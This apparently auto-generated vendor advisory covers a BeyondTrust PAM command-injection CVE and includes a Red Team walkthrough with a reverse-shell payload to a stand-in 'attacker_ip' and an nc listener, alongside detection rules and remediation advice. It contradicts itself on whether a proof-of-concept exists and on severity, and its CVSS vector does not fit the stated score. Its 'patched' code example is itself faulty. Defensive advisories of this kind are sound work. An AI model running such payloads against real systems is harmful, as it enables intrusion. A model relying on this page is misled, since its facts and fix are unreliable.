CVE-2020-11847
Executive Summary
CVE-2020-11847 is a critical OS command injection vulnerability in BeyondTrust Privileged Access Manager (PAM) prior to version 3.7.0.1. An authenticated SSH user can execute arbitrary OS commands with full system privileges by leveraging the PAM server's command execution capabilities. This flaw allows a low-privileged attacker to escalate to root-level access, compromising the entire PAM infrastructure. The vulnerability has a CVSS score of 8.2, indicating high severity, and is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). No public proof-of-concept or exploit code is currently available, but the risk remains significant for unpatched systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Threat Level: Critical – Exploitation could lead to full system compromise of the PAM server and potentially lateral movement within the network.
Deep Dive & Mechanics
The vulnerability resides in the SSH command execution functionality of BeyondTrust PAM. When an authenticated user connects via SSH, the PAM server processes user commands without proper sanitization. Specifically, the server fails to neutralize shell metacharacters (e.g., ;, |, &, $()) in user-supplied input before passing it to a system shell (e.g., /bin/bash). This allows an attacker to inject arbitrary OS commands that are executed with the privileges of the PAM service account, typically root.
The attack flow:
- Attacker authenticates to the PAM server via SSH with valid credentials.
- Attacker sends a crafted command containing shell metacharacters, e.g.,
; idor$(whoami). - The PAM server concatenates the input into a command string without validation.
- The command is executed by the underlying OS shell, granting the attacker full system access.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
import subprocess
def execute_command(user_input):
# Vulnerable: direct concatenation without sanitization
command = "/bin/bash -c 'echo " + user_input + "'"
subprocess.call(command, shell=True)
Patched Code (Conceptual):
import subprocess
import shlex
def execute_command(user_input):
# Patched: use shlex.quote to escape shell metacharacters
safe_input = shlex.quote(user_input)
command = "/bin/bash -c 'echo " + safe_input + "'"
subprocess.call(command, shell=True)
The patched version uses shlex.quote() to escape special characters, preventing command injection. BeyondTrust also implemented input validation and parameterized command execution in version 3.7.0.1.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid SSH credentials for the PAM server (low-privileged user).
- Network access to the PAM server on port 22.
Exploitation Steps:
- Connect to the PAM server via SSH:
ssh low_priv_user@pam-server - Execute a command injection payload to verify vulnerability:
Expected output:; iduid=0(root) gid=0(root) groups=0(root) - Escalate to a full reverse shell:
; bash -i >& /dev/tcp/attacker_ip/4444 0>&1 - On attacker machine, listen for the shell:
nc -lvnp 4444
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection Steps:
- Monitor SSH logs for unusual command patterns:
grep -E ';|\||\$\(|`' /var/log/auth.log - Enable command logging on the PAM server to capture all executed commands.
- Deploy network-based detection for shell metacharacters in SSH sessions.
- Implement strict input validation and use parameterized commands in PAM configurations.
Indicators of Compromise (IOCs)
- Network IOCs:
- SSH sessions containing shell metacharacters (
;,|,&,$(),`). - Outbound connections from PAM server to unknown IPs on high ports (e.g., 4444).
- SSH sessions containing shell metacharacters (
- Host IOCs:
- Unexpected processes spawned by the PAM service (e.g.,
/bin/bash,/bin/sh). - Modified system binaries or configuration files.
- Presence of reverse shell payloads in
/tmp/or/dev/shm/.
- Unexpected processes spawned by the PAM service (e.g.,
- Log IOCs:
- Auth.log entries with commands containing
;or|. - Auditd logs showing execution of
/bin/bashby the PAM user.
- Auth.log entries with commands containing
Detection Engineering
YARA Rule
rule CVE_2020_11847_Command_Injection {
meta:
description = "Detects command injection attempts against BeyondTrust PAM"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2020-11847"
strings:
$cmd1 = /;[\s]*[a-z]/ nocase
$cmd2 = /\|[\s]*[a-z]/ nocase
$cmd3 = /\$\(/ nocase
$cmd4 = /`[a-z]/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2020-11847 BeyondTrust PAM Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts via SSH in BeyondTrust PAM logs
author: Valters IT
logsource:
product: linux
service: auth
detection:
selection:
- Command|contains: ';'
- Command|contains: '|'
- Command|contains: '$('
- Command|contains: '`'
condition: selection
falsepositives:
- Legitimate use of shell metacharacters in commands
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2020-11847 BeyondTrust PAM Command Injection"; flow:to_server,established; content:"|3B|"; within:100; content:"|7C|"; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade BeyondTrust PAM to version 3.7.0.1 or later.
- If upgrade is not possible, restrict SSH access to trusted users only.
- Implement network segmentation to limit PAM server exposure.
Long-term Mitigations:
- Apply the principle of least privilege for SSH users.
- Enable command logging and auditing on the PAM server.
- Deploy a Web Application Firewall (WAF) or IDS/IPS to detect injection attempts.
- Regularly review and patch all PAM components.
Workaround:
- Disable SSH command execution if not required, or use a jump host with strict controls.
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.